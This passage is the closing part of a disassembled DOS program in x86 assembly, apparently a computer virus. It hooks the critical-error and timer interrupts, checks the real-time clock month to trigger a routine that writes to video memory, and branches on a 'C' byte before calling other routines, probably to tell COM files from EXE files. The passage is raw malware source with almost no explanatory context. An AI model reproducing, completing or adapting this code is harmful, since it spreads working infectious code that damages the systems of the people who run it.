  736. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  737.   
  738. sub_12          proc    near
  739.                 push    cs
  740.                 mov     al,0
  741.                 out     20h,al                                  ; port 20h, 8259-1 int command
  742.                 mov     ax,3524h
  743.                 int     21h                                     ; DOS Services  ah=function 35h
  744.                                                                 ;  get intrpt vector al in es:bx
  745.                 mov     ds:data_3e,bx
  746.                 mov     bx,es
  747.                 mov     ds:data_2e,bx
  748.                 pop     es
  749.                 mov     si,20Ah
  750.                 mov     di,219h
  751.                 mov     cx,0Fh
  752.   
  753. locloop_32:
  754.                 lodsb                                           ; String [si] to al
  755.                 add     al,20h                                  ; ' '
  756.                 stosb                                           ; Store al to es:[di]
  757.                 loop    locloop_32                              ; Loop if cx > 0
  758.   
  759.                 retn
  760. sub_12          endp
  761.   
  762.   
  763. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  764. ;                              SUBROUTINE
  765. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  766.   
  767. sub_13          proc    near
  768.                 push    ax
  769.                 push    cs
  770.                 pop     ds
  771.                 push    cs
  772.                 pop     es
  773.                 mov     bl,data_34
  774.                 cmp     bl,0Ch
  775.                 ja      loc_34                                  ; Jump if above
  776.                 cmp     bl,0
  777.                 je      loc_34                                  ; Jump if equal
  778.                 mov     al,8
  779.                 out     70h,al                                  ; port 70h, RTC addr/enabl NMI
  780.                                                                 ;  al = 8, month register
  781.                 in      al,71h                                  ; port 71h, RTC clock/RAM data
  782.                 cmp     al,0Ch
  783.                 ja      loc_34                                  ; Jump if above
  784.                 cmp     al,0
  785.                 je      loc_34                                  ; Jump if equal
  786.                 cmp     al,bl
  787.                 je      loc_34                                  ; Jump if equal
  788.                 inc     bl
  789.                 call    sub_14                                  ; (064F)
  790.                 cmp     al,bl
  791.                 je      loc_34                                  ; Jump if equal
  792.                 inc     bl
  793.                 call    sub_14                                  ; (064F)
  794.                 cmp     al,bl
  795.                 je      loc_34                                  ; Jump if equal
  796.                 pop     ds
  797.                 call    sub_16                                  ; (0686)
  798.                 push    cs
  799.                 pop     ds
  800.                 retn
  801.   
  802. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  803.   
  804. sub_14:
  805.                 cmp     bl,0Ch
  806.                 jbe     loc_ret_33                              ; Jump if below or =
  807.                 sub     bl,0Ch
  808.   
  809. loc_ret_33:
  810.                 retn
  811. loc_34:
  812.                 pop     ax
  813.                 retn
  814. sub_13          endp
  815.   
  816.   
  817. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  818. ;                              SUBROUTINE
  819. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  820.   
  821. sub_15          proc    near
  822.                 mov     dx,673h
  823.                 mov     ax,2524h
  824.                 int     21h                                     ; DOS Services  ah=function 25h
  825.                                                                 ;  set intrpt vector al to ds:dx
  826.                 cmp     byte ptr ds:[724h],43h                  ; 'C'
  827.                 jne     loc_35                                  ; Jump if not equal
  828.                 call    sub_3                                   ; (02AE)
  829.                 jmp     short loc_36                            ; (0672)
  830.                 db      90h
  831. loc_35:
  832.                 call    sub_4                                   ; (0337)
  833. loc_36:
  834.                 push    ds
  835. sub_15          endp
  836.   
  837.   
  838. ;██████████████████████████████████████████████████████████████████████████
  839. ;
  840. ;                       External Entry Point
  841. ;
  842. ;██████████████████████████████████████████████████████████████████████████
  843.   
  844. int_24h_entry   proc    far
  845.                 mov     dx,data_33
  846.                 mov     ax,data_32
  847.                 mov     ds,ax
  848.                 mov     ax,2524h
  849.                 int     21h                                     ; DOS Services  ah=function 25h
  850.                                                                 ;  set intrpt vector al to ds:dx
  851.                 pop     ds
  852.                 retn
  853. int_24h_entry   endp
  854.   
  855.                 db      0B0h, 3, 0CFh
  856.   
  857. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  858. ;                              SUBROUTINE
  859. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  860.   
  861. sub_16          proc    near
  862.                 mov     dx,6B0h
  863.                 mov     ax,251Ch
  864.                 int     21h                                     ; DOS Services  ah=function 25h
  865.                                                                 ;  set intrpt vector al to ds:dx
  866.                 mov     byte ptr ds:data_8e,90h
  867.                 nop
  868.                 mov     ax,0B800h
  869.                 mov     es,ax
  870. data_36         db      0BFh
  871. data_37         dw      0FA0h
  872.                 db      0B8h, 20h, 7, 0B9h, 0Bh, 0
  873.                 db      0F2h, 0ABh, 0Eh, 7, 0C3h, 0
  874.                 db      0, 0, 20h, 7, 0Fh
  875.                 db      0Ah
  876. data_38         db      0Fh
  877.                 db      0Ah
  878. data_39         db      0Fh
  879.                 db      0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh
  880.                 db      0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h
  881.                 db      0Eh, 0EEh, 0Ch, 90h, 0FBh, 50h
  882.                 db      51h, 52h, 53h, 55h, 56h, 57h
  883.                 db      1Eh, 6, 0Eh, 1Fh, 0EBh, 0Bh
  884.                 db      90h
  885. loc_37:
  886.                 pop     es
  887.                 pop     ds
  888.                 pop     di
  889.                 pop     si
  890.                 pop     bp
  891.                 pop     bx
  892.                 pop     dx
  893.                 pop     cx
  894.                 pop     ax
  895.                 iret                                            ; Interrupt return
  896. sub_16          endp
  897.   
  898.                 db      0B8h, 0, 0B8h, 8Eh, 0C0h, 0E8h
  899.                 db      2Bh, 0, 0BEh, 9Ah, 6, 0B9h
  900.                 db      16h, 0, 0F2h, 0A4h, 80h, 3Eh
  901.                 db      0AEh, 6, 0EEh, 74h, 8, 0C6h
  902.                 db      6, 0AEh, 6, 0EEh, 0EBh, 6
  903.                 db      90h
  904. loc_38:
  905.                 mov     data_38,0F0h
  906. loc_39:
  907.                 mov     ax,es:[di]
  908.                 mov     ah,0Eh
  909.                 mov     data_37,ax
  910.                 mov     data_36,0
  911.                 jmp     short loc_37                            ; (06D0)
  912.   
  913. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  914. ;                              SUBROUTINE
  915. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  916.   
  917. sub_17          proc    near
  918.                 mov     di,0
  919. loc_40:
  920.                 mov     si,69Ch
  921.                 push    di
  922.                 mov     cx,12h
  923.                 cld                                             ; Clear direction
  924.                 repe    cmpsb                                   ; Rept zf=1+cx>0 Cmp [si] to es:[di]
  925.                 pop     di
  926.                 jz      loc_41                                  ; Jump if zero
  927.                 inc     di
  928.                 inc     di
  929.                 cmp     di,0FA0h
  930.                 jne     loc_40                                  ; Jump if not equal
  931.                 mov     di,0
  932. loc_41:
  933.                 cmp     di,0F9Eh
  934.                 jne     loc_ret_42                              ; Jump if not equal
  935.                 mov     data_39,0CFh
  936.   
  937. loc_ret_42:
  938.                 retn
  939. sub_17          endp
  940.   
  941.                 db      43h, 0Ch, 0Ah
  942.   
  943. seg_a           ends
  944.   
  945.   
  946.   
  947.                 end     start
  948.